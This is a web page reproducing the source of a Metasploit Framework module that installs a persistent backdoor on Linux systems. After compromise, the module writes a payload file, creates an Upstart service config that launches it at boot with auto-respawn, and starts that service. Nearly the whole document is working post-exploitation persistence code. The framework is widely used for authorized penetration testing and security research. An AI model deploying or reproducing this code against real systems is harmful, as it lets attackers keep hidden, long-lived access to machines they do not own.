Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/persistence/init_upstart.rb
25358 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::Unix
11
include Msf::Exploit::EXE # for generate_payload_exe
12
include Msf::Exploit::FileDropper
13
include Msf::Exploit::Local::Persistence
14
prepend Msf::Exploit::Remote::AutoCheck
15
include Msf::Exploit::Deprecated
16
moved_from 'exploits/linux/local/service_persistence'
17
18
def initialize(info = {})
19
super(
20
update_info(
21
info,
22
'Name' => 'Service Upstart Persistence',
23
'Description' => %q{
24
This module will create a service on the box, and mark it for auto-restart.
25
We need enough access to write service files and potentially restart services
26
Targets:
27
CentOS 6
28
Fedora >= 9, < 15
29
Ubuntu >= 9.10, <= 14.10
30
},
31
'License' => MSF_LICENSE,
32
'Author' => [
33
'h00die',
34
],
35
'Platform' => ['unix', 'linux'],
36
'Targets' => [
37
[
38
'Upstart', {
39
runlevel: '2345'
40
}
41
],
42
],
43
'DefaultTarget' => 0,
44
'Privileged' => true,
45
'Arch' => [
46
ARCH_CMD,
47
ARCH_X86,
48
ARCH_X64,
49
ARCH_ARMLE,
50
ARCH_AARCH64,
51
ARCH_PPC,
52
ARCH_MIPSLE,
53
ARCH_MIPSBE
54
],
55
'References' => [
56
['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],
57
['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS],
58
['URL', 'http://blog.terminal.com/getting-started-with-upstart/']
59
],
60
'SessionTypes' => ['shell', 'meterpreter'],
61
'Notes' => {
62
'Stability' => [CRASH_SAFE],
63
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
64
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
65
},
66
'DisclosureDate' => '2006-08-24' # upstart release date
67
)
68
)
69
70
register_options(
71
[
72
OptString.new('PAYLOAD_NAME', [false, 'Name of shell file to write']),
73
OptString.new('SERVICE', [false, 'Name of service to create']),
74
OptInt.new('RESTART_LIMIT', [false, 'Name of service to create', 3]),
75
OptEnum.new('INIT_FOLDER', [false, 'Init folder location', 'auto', ['auto', 'init', 'init.d']])
76
]
77
)
78
end
79
80
def init_folder
81
if datastore['INIT_FOLDER'] == 'init' ||
82
(
83
datastore['INIT_FOLDER'] == 'auto' &&
84
exists?('/etc/init')
85
)
86
return '/etc/init'
87
end
88
89
'/etc/init.d'
90
end
91
92
def check
93
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
94
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
95
return CheckCode::Safe("#{init_folder} isnt writable") unless writable?(init_folder)
96
97
return CheckCode::Safe('Likely not an upstart based system') unless command_exists?('initctl')
98
99
CheckCode::Appears("#{writable_dir} is writable and system is upstart based")
100
end
101
102
def install_persistence
103
backdoor = write_shell(writable_dir)
104
105
path = backdoor.split('/')[0...-1].join('/')
106
file = backdoor.split('/')[-1]
107
108
upstart(path, file, target.opts[:runlevel])
109
end
110
111
def write_shell(path)
112
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
113
backdoor = "#{path}/#{file_name}"
114
vprint_status("Writing backdoor to #{backdoor}")
115
if payload.arch.first == 'cmd'
116
write_file(backdoor, payload.encoded)
117
chmod(backdoor, 0o711)
118
else
119
upload_and_chmodx backdoor, generate_payload_exe
120
end
121
@clean_up_rc << "rm #{backdoor}\n"
122
123
fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor)
124
125
backdoor
126
end
127
128
def upstart(backdoor_path, backdoor_file, runlevel)
129
script = <<~EOF
130
description "Start daemon at boot time"
131
start on filesystem or runlevel [#{runlevel}]
132
stop on shutdown
133
# Ensure only one instance runs
134
pre-start script
135
if [ -f /var/run/#{backdoor_file}.pid ] && kill -0 $(cat /var/run/#{backdoor_file}.pid) 2>/dev/null; then
136
echo "#{backdoor_file} is already running."
137
exit 1
138
fi
139
end script
140
script
141
echo $$ > /var/run/#{backdoor_file}.pid
142
exec #{backdoor_path}/#{backdoor_file}
143
end script
144
post-stop script
145
rm -f /var/run/#{backdoor_file}.pid
146
sleep 10
147
end script
148
respawn
149
respawn limit #{datastore['RESTART_LIMIT']} 300
150
EOF
151
service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)
152
service_name = "#{init_folder}/#{service_filename}.conf"
153
vprint_status("Writing service: #{service_name}")
154
write_file(service_name, script)
155
156
fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)
157
158
@clean_up_rc << "rm #{service_name}"
159
vprint_status('Starting service')
160
cmd_exec("initctl start #{service_filename}")
161
end
162
end
163
164